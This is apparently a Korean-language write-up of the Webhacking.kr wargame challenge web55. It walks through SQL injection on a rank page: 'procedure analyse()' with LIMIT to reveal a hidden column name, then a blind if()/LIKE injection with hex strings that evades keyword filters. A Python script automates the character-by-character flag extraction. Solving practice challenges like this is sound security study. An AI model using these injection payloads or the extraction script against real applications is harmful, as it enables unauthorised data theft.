Webhacking.kr - web55 (풀이봄)
web55
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<body onmousemove=move()>
<img src=monster.jpg style="position:relative;left:1;top:1;" id=monster alt='oldzombie'>
<script>
function move(){
monster.src = Math.floor(Math.random()*2)?"monster.jpg":"monster2.jpg";
if(parseInt(monster.style.left)<event.x) monster.style.left=parseInt(monster.style.left)+1;
if(parseInt(monster.style.left)>event.x) monster.style.left=parseInt(monster.style.left)-1;
if(parseInt(monster.style.left)<event.y) monster.style.top=parseInt(monster.style.top)+1;
if(parseInt(monster.style.left)<event.y) monster.style.top=parseInt(monster.style.top)-1;
if(parseInt(monster.style.left)<event.x && parseInt(monster.style.top)<event.y) {monster.style.left=parseInt(monster.style.left)+1;monster.style.top=parseInt(monster.style.top)+1; }
if(parseInt(monster.style.left)>event.x && parseInt(monster.style.top)>event.y) {monster.style.left=parseInt(monster.style.left)-1;monster.style.top=parseInt(monster.style.top)-1; }
if(parseInt(monster.style.left)==event.x && parseInt(monster.style.top)==event.y) {alert('GAME OVER'); sfrm.submit(); }
if(event.x<=0) sfrm.score.value=0;
if(event.y<=0) sfrm.score.value=0;
sfrm.mx.value=event.x;
sfrm.my.value=event.y;
sfrm.score.value++;
}
</script>
<form method=post name=sfrm>
Score : <input type=text name=score value=0 readonly style=border:0>
<input type=text name=mx readonly style=border:0;font:10>
<input type=text name=my readonly style=border:0;font:10><br>
</form>
<a href=rank.php>rank</a>
1
2
3
rank.php
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
Solution
풀이를 봐버림..
rank.php에서 보여지는 쿼리를 예상해보면 select id, score from chall55 where score={$_GET['score']}
mysql에는 procedure의 기본 값으로 analyse()
가 있음.
analyse()
은 질의 결과를 검사하고 테이블 크기를 줄이는 데 도움이 될 수 있는 각 열에 대해 최적의 데이터 유형을 제안하는 결과의 분석을 반환함.
- select 문 뒤에 추가해서 사용 가능 함.
- Analyse()
대략 이런식으로 나오는 듯함.
1
2
3
4
5
6
7
mysql> select * from user where id='admin' limit 1 procedure analyse();
| Field_name| Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std | Optimal_fieldtype|
| user.user.id| admin| admin | 5 | 5 |0 | 0 | 5.0000 | NULL | ENUM('admin') NOT NULL |
출처: https://tempuss.tistory.com/entry/Limit-절에서의-SQL-Injection [Tempus]
field_name은 DB명.테이블명.컬럼명
으로 표시함.
procedure analyse()
를 이용한 sql injection 기법- hides.kr/284
- mysql XML Functions
- dev.mysql.com/doc/refman/5.6/en/xml-functions.html
rank.php에서 score 값에 1 procedure analyse()
를 치면 webhacking.chall55.id
라는 DB명.테이블명.컬럼명
을 볼 수 있음.
근데 우리는 id 컬럼이 아닌 flag가 들어있는 컬럼을 확인하고 싶음.
보여지는 값을 바꾸려면 limit 함수를 사용해야 함.
limit 함수에는 아래와 같이 두 개의 옵션(procedure, into)을 사용 가능함.
1
2
3
4
5
6
7
8
9
10
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
출처: https://tempuss.tistory.com/entry/Limit-절에서의-SQL-Injection [Tempus]
- 따라서 limit 함수를 이용해서 하면
?score=12 limit 2,1 procedure analyse()
id : webhacking.chall55.p4ssw0rd_1123581321
이제 위의 컬럼에 있는 flag 값을 뽑아내야 함.
- score에 필터링 되어있는게 있음.
select, substr, mid, ', 등
if문 필터링이 되어있지 않아서 if로 접근해서 풀어야 함.
select id, score from chall55 where score=if(p4ssw0rd_1123581321 like 0x465F25,1,2)
- -> true가 되어서 score=1 -> Piterpan
- -> false일 땐 jandi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string
url='https://webhacking.kr/challenge/web-31/rank.php'
headers={'Content-Type': 'application/x-www-form-urlencoded'}
cookies={'PHPSESSID' : '[redacted]'}
text=string.ascii_lowercase+string.digits+"!#$&()*+,-./:;<=>?@[\]^`{|}~"
flag='FLAG{'
hex_flag='0x464C41477B'
for i in range(1,100) :
for j in text :
hex_text=hex(ord(j))[2:]
payload={'score':'if(p4ssw0rd_1123581321 like '+hex_flag+hex_text+'5f25,1,2)'}
res=requests.get(url, params=payload, headers=headers, cookies=cookies)
print('payload :',flag+j)
if "Piterpan" in res.text :
if(j == '\\'):
j='_'
hex_text='5f'
hex_flag+=hex_text
flag+=j
print("flag :",flag) # FLAG{easy_peasy_lemon_squeezy!
break
This post is licensed under CC BY 4.0 by the author.